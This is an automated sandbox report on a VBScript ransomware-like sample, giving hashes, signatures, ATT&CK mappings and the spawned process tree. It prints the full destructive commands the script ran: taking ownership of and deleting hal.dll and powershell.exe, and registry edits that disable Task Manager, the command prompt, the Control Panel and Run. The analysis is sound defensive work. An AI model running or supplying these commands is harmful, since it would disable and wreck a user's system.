caa2f27e79bc6142847a35918c68c8c42bc7dc2c51699ae1f5a31ce655986926

Analysis

max time kernel
134s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 14:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
trigger.vbs
Size 4KB
Sample240726-rpdppashrl
SHA256 caa2f27e79bc6142847a35918c68c8c42bc7dc2c51699ae1f5a31ce655986926
MD5 875d7a7eb8dfc8edba914598c8646826
SHA1 1ecaf4b50e5fa8a9084c5654af1548a150ca9f48
SHA512 7129f4a536aaffd30f3cb83b88facf4c66348c23800603b98715e6cc6d2c6d0e98b8ea1c1d26a03dc901e3a58246a82eb6b2cc4301239e42871429974a2f2ab9
SSDEEP 96:wFCUbG4XFDeTMksJRSzCsHQaT0FRzOin4:wRjXFkMP4
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

discovery evasion exploit ransomware

Malware Config

Signatures

Renames multiple (192) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
3972	takeown.exe
2852	icacls.exe
2352	takeown.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2352	takeown.exe
3972	takeown.exe
2852	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 9 IoCs

Modify Registry

T1112

pid	Process
1984	reg.exe
464	reg.exe
1784	reg.exe
1720	reg.exe
4492	reg.exe
2780	reg.exe
1424	reg.exe
3096	reg.exe
4972	reg.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2352	takeown.exe
Token: SeTakeOwnershipPrivilege	3972	takeown.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 32 wrote to memory of 5048	32	WScript.exe	94
PID 32 wrote to memory of 5048	32	WScript.exe	94
PID 32 wrote to memory of 5028	32	WScript.exe	96
PID 32 wrote to memory of 5028	32	WScript.exe	96
PID 32 wrote to memory of 1720	32	WScript.exe	98
PID 32 wrote to memory of 1720	32	WScript.exe	98
PID 32 wrote to memory of 4492	32	WScript.exe	100
PID 32 wrote to memory of 4492	32	WScript.exe	100
PID 32 wrote to memory of 1984	32	WScript.exe	102
PID 32 wrote to memory of 1984	32	WScript.exe	102
PID 5048 wrote to memory of 2352	5048	cmd.exe	104
PID 5048 wrote to memory of 2352	5048	cmd.exe	104
PID 5028 wrote to memory of 3972	5028	cmd.exe	105
PID 5028 wrote to memory of 3972	5028	cmd.exe	105
PID 32 wrote to memory of 2780	32	WScript.exe	106
PID 32 wrote to memory of 2780	32	WScript.exe	106
PID 5048 wrote to memory of 2852	5048	cmd.exe	108
PID 5048 wrote to memory of 2852	5048	cmd.exe	108
PID 32 wrote to memory of 464	32	WScript.exe	109
PID 32 wrote to memory of 464	32	WScript.exe	109
PID 32 wrote to memory of 1424	32	WScript.exe	112
PID 32 wrote to memory of 1424	32	WScript.exe	112
PID 32 wrote to memory of 3096	32	WScript.exe	114
PID 32 wrote to memory of 3096	32	WScript.exe	114
PID 32 wrote to memory of 4972	32	WScript.exe	116
PID 32 wrote to memory of 4972	32	WScript.exe	116
PID 32 wrote to memory of 1784	32	WScript.exe	118
PID 32 wrote to memory of 1784	32	WScript.exe	118
PID 32 wrote to memory of 4952	32	WScript.exe	120
PID 32 wrote to memory of 4952	32	WScript.exe	120

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:32
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f/s/q C:\Windows\System32\hal.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2352
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\powershell.exe && icacls C:\Windows\System32\powershell.exe /grant Everyone:(F) && del/f/s/q C:\Windows\System32\powershell.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\powershell.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3972
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKLM\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1720
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent /v AccentColor /t REG_DWORD /d 0x2d1954 /f
  2⤵
  - Modifies registry key
  PID:4492
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1984
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  - Modifies registry key
  PID:2780
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:464
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1424
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:3096
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:4972
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f
  2⤵
  - Modifies registry key
  PID:1784
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" delete HKCR\lnkfile\IsShortcut
  2⤵
  PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh.vbs

Path C:\Users\Admin\AppData\Roaming\sh.vbs
Size 79B
SHA256 c97fb00a65e02154715ebab5948521244d6572b50e817076b122402b328cbf41
MD5 9c7e6123e53e2934815230ecb3322366
SHA1 aa2668d966f5c98648786a47d90b5a2fd538ef7a
SHA512 6d580274be6202f91fc182ce4a74d689a9f34bde34115611465c4f7c7b40d86f9a9ae70760af1ecbada85d612e0d24fe28714158d247186d2d45b385dd65b8a9
MD5 SHA1 SHA512

Submit Download

ConvertFromUpdate.htm.vbs

Path C:\Users\Admin\Desktop\ConvertFromUpdate.htm.vbs
Size 65B
SHA256 8cb8ced1cde768396fdf8055d66489a17d17c3e2d9c5c2b78baacff2988757c5
MD5 a1c3de3adc55df288cb4ac22eabbf0f2
SHA1 db571422611275f45b92290e2508bd22f5ca1644
SHA512 f648f6dbc716d728d134e9272362493f37e6f002dc02441ae59e9ef588ded776619498cc259fdabd6a3a872d4dd9b2ae69cff2b6d9c787333e99ca8a01836b7c
MD5 SHA1 SHA512